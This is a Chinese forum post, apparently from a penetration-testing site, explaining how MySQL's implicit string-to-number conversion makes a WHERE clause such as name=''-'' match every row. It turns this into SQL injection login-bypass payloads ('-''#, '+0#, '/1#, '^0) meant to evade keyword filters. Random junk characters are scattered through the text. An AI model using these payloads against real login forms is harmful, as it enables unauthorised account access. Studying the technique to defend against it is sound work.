我们先来看这样一个场景。 有以下表结构: 3 z; r. P% _% x8 F4 P ) o" W: Y* T9 I. c; X mysql> desc admin; +----------+--------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +----------+--------------+------+-----+---------+----------------+ | id | mediumint(9) | NO | PRI | NULL | auto_increment |, y5 o6 {6 j! T4 ^ | name | char(32) | NO | UNI | NULL | |- J+ b# ^& K, B3 ?0 [6 Q/ n8 ` | password | char(32) | NO | UNI | NULL | | +----------+--------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec): F# F. I2 F6 b4 A5 o 执行select * from admin;,成功返回所有记录内容。 5 y6 P/ |- m6 \" x * \( V$ a9 o! _ +----+--------+----------------------------------+ | id | name | password | +----+--------+----------------------------------+( X7 [6 _" w& X+ Y6 i3 O | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |8 i% F8 y) d) b4 g; M. q; ] | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |1 X% h+ _; o" s+ N | 4 | n00b | ff80e8508d39047460921792273533a4 |/ n. x7 S2 d% c3 t ^8 T6 x; Z +----+--------+----------------------------------+ 3 rows in set (0.00 sec); p9 h) d6 l8 E4 T5 A3 W' D: { 执行select * from admin where name=”;,没有匹配到任何记录。 % h- B2 \2 L d/ A mysql> select * from admin where name = ''; Empty set (0.00 sec)2 X& U% [ P3 F 那么我们来执行select * from admin where name = ”-”;7 u! H9 U6 Q* M* m - D) `' L. c" z, V0 f2 E: Y+ Q; v +----+--------+----------------------------------+2 l! G, x% Z: }% q9 n | id | name | password | +----+--------+----------------------------------+ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |6 X+ t0 f6 d: y) B8 o | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |% F/ l, Y, ^, G1 w! T6 I* x3 Z | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------++ A% f7 E$ m: i- [: Y 3 rows in set, 3 warnings (0.00 sec) 可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: ; c; f$ G" X' P2 i- `8 d" M5 _ mysql> show warnings;1 h4 f9 l9 h7 m/ r, B +---------+------+------------------------------------------ | Level | Code | Message +---------+------+------------------------------------------8 W8 X) h8 z# X/ Y1 i | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin | Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s3 A8 k- Y$ [. s# x: W, J% d | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b- C+ f4 s- v4 A/ G [% y, B: }9 { +---------+------+------------------------------------------ 3 rows in set (0.00 sec)5 h% Q8 j g0 [5 z 提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 s, M. M _' C$ b$ [. m mysql> select ''-'';2 T" |0 D+ Q/ E% J +-------+- n0 z& E" ^$ Q+ v# U7 N" p | ''-'' |3 y( X- j4 h7 m8 K: N( |& b +-------+5 f3 V( h) f6 |. h& T | 0 |- d/ z3 K, N7 m! s- R +-------+7 n# t% e8 V2 ^" _) M0 a: H2 c 1 row in set (0.00 sec)" f' K& o% `" `+ `9 B" T6 r 返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 5 C2 K2 F( Q, y: ] X( E mysql> select CAST((select name from admin limit 1,1) as DECIMAL);8 v, u' K0 w. r4 M +-----------------------------------------------------+% i, L% m4 ?. P l0 i6 w2 _& O | CAST((select name from admin limit 1,1) as DECIMAL) |) O2 V$ ]9 D* o M* }' C& j, P, }& @ +-----------------------------------------------------+ | 0 | +-----------------------------------------------------+- M" v. _9 {9 l& J+ U/ R+ E 1 row in set, 1 warning (0.00 sec)* a W- q7 Y! j' L8 k/ G; d 因此where语句构成了相等的条件,where 0=”=”,记录被返回。 e1 P6 P1 V' r9 e& T SQL注入场景: http://www.sqlzoo.net/hack/ F9 W8 D6 ^* `7 u, p : o+ P1 W" `" ` ( i' E7 y7 \" _/ v: c8 n 如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 8 p9 p5 w( @- k8 g# f( U * d9 l8 \" p% g+ a: ^# w, O , @! W& B" F$ A. F8 B- W4 X9 w 2 E/ v. o* c; W% _; ? * W r$ P& V( c0 F. _' H 仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 # X6 F9 L, D. N+ o+ G' D! _ 4 Z3 u1 ?7 \2 r* _ 1 x5 s7 m% E9 [9 m D/ a; l) l7 r 除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可 9 b- U1 K X) j1 l 8 Z/ r+ H. B% i0 i5 z! m4 P6 q1 }1 ? mysql> select ''/1; +------+ | ''/1 | +------+0 I9 N9 [$ N0 z7 B4 w" o | 0 |0 q Y. E) P- }' _6 A$ x" Y* x +------+ 1 row in set (0.00 sec)% i! }( P# v7 G C% {/ X 类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。 |
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |